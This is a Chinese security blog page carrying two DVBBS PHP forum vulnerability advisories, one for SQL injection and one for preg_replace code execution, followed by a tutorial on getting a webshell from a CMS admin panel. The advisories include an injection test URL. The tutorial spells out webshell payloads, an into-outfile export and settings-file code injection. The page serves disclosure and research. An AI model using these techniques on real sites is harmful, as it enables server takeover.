体验盒子

所谓永恒的爱,就是从红颜到白发,从花开到花落。

动网PHP论坛indivgroup_dispbbs.php sql注入漏洞

2010年10月6日 Vulndb 2 条评论 | 热度:64 ℃

发布时间:2010-10-03
影响版本:动网论坛 (DVBBS) PHP 2.0++
漏洞描述:动网(DVBBS)论坛系统是一个采用PHP和MYSQL的数据架构的高性能网站论坛解决方案。

在文件indivgroup_dispbbs.php中:

if($groupboardid == 0){   //第86行
……
else{    //第92行
$query=$db->query("select id boardid,rootid,boardname boardtype,boardinfo,indeximg,postnum,topicnum,todaynum,lastpost,boardstats,rules from {$dv}group_board where rootid={$groupid} and id={$groupboardid}");

变量$groupboardid没有经过过滤放入sql语句导致注入漏洞的产生。

测试方法:
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

http://yousite.com/indivgroup_dispbbs.php?groupid=1&groupboardid=1%20and%201=1&id=2&page=1

安全建议:
临时解决办法
---------
过滤变量$groupboardid

厂商补丁:

DVBBS
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.dvbbs.net

动网(DVBBS)PHP论坛preview.php代码执行漏洞

2010年8月31日 Vulndb 没有评论 | 热度:41 ℃

发布时间:2010-08-30
影响版本:动网论坛 (DVBBS) PHP 2.0++
漏洞描述:动网(DVBBS)论坛系统是一个采用PHP和MYSQL的数据架构的高性能网站论坛解决方案。

在文件preview.php中:
require printout('preview');  //第9行
……
函数printout在文件inc/ dv_clsmain.php中:
function printout($template,$ext="tpl.php"){  //第464行
文件最后包含了templates\default\ preview.tpl.php文件
……
在文件templates\default\ preview.tpl.php中:
$theBody =& Dv_CodeProcess($theBody, $tmpuserinfo, Ubblist($theBody).'39,', 1, 0); //第31行
& Dv_CodeProcess函数在文件inc/dv_code.php文件中:
function &Dv_CodeProcess(&$code,&$currUserInfo,$ubblists,$PostType=1,$sType=1) //第332行
……
$arrPattern[] = '#\[url\s*=\s*([^\]]+)](.*?)\[img](.+?)\[\/img](.*?)\[/url]#iesm';   //第415行
		$arrRepl[] = '\'<a href="\'.str_filter_xss("$1").\'" target="_blank">$2<img src="\'.str_filter_xss("$3").\'" border="0"/ >$4</a>\'';
……
$returnval = preg_replace( $arrPattern ,$arrRepl ,$code );  //第861行
函数preg_replace当第一个参数的正则表达式有e符号的时候,第二个参数的字符串当做PHP代码执行。

安全建议:

厂商补丁:
动网论坛(dvbbs)
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.dvbbs.net

从后台到webshell的思路

2010年6月20日 懒人日志 没有评论 | 热度:93 ℃

1.asp+acc/mssql程序
主要是利用后台对access数据库的"备份数据库"或"恢复数据库"功能,"备份的数据库路径"等变量没有过滤导致可以把任意文件后缀改为asp,从而得到webshell,msssql版的程序就直接应用了access版的代码,导致sql版照样可以利用。具体方法和分析可以参考angel的文章《动网论坛7.0获得webshell的分析》。据我所知,目前还有很多的asp程序后台存在这样的漏洞,利用方法大同小异。

2.php+mysql程序
①.利用后台的数据查询功能
在有的程序后台提供直接对mysql数据查询功能,我们就可以利用它执行select ... into outfile查询输出php文件,因为所有的数据是存放在mysql里的,所以我们可以通过正常手段把我们的webshell代码插入mysql在利用select ... into outfile语句导出shell。我们这里用ipb论坛做个演示:
第一步:把我们的webshell代码写入数据库
随便找个可以写入的地方(注意对你输入的要没有进行过滤),这里我们就用后台的新建立个论坛,在论坛描叙里写入我们的shell代码<?system($c);?> 提交 ok这样就把我们的shell写入了数据库了。
第二步:导出webshell
我们来到"sql management"里的"mysql toolbox"在"run query"里写入语句:
select * from 123forums into outfile 'd:\shell.php'
^                  ^
shell代码所在的表        web目录绝对路径
如果主机mysql查询成功,我们就得到我们webshell:
http://127.0.0.1/test/shell.php?c=dir
②.利用mysql数据备用
思路 结合上面的2种情况,有的程序在备用数据库时 对备用文件的类型没有限制,从而导出php文件,我们和①中那样,通过把webshell代码写入数据库中,在利用数据备用导出webshell,我们大家熟悉的vbb论坛就可以用这个方法来得到webshell:
我们设置用户的签名为<?system($c);?> 然后到后台的数据库备份,在"在服务器上备份数据库到文件"里改为shell.php ,提交保存。我们就可以在论坛的根目录下访问我们的shell了,因为可能到处的文件比较大,我们可以换一个可以生成文件的webshell代码。
利用web后台系统设置,如果是系统设置是保存在php/asp文件了,我们可以同过在设置里写入webshell代码到保存设置的php/asp文件了.
演示:
程序sablog,sablog的基本设置保存在admin\settings.php 由于后台在提交设置的变量十没有过滤,导致我们可以向admin\settings.php写入任意代码。
进入后台--"基本设置"--"blog名称"(其他项也可以)--填入代码:sss";phpinfo();"ss --提交。
这样我们就把phpinfo()写入了admin\settings.php,我们可以看到admin\settings.php正常显示php的信息。

小结:
上面是php等系统的演示,同样也适合asp等其他的系统(比如动力,惊云下载等等)。只是注意在写代码的时候要小心,如果代码有错,可能导致整个web系统的瘫痪。
还有一个是利用上传漏洞的 这个就不要多说了 呵呵:)。

加载中……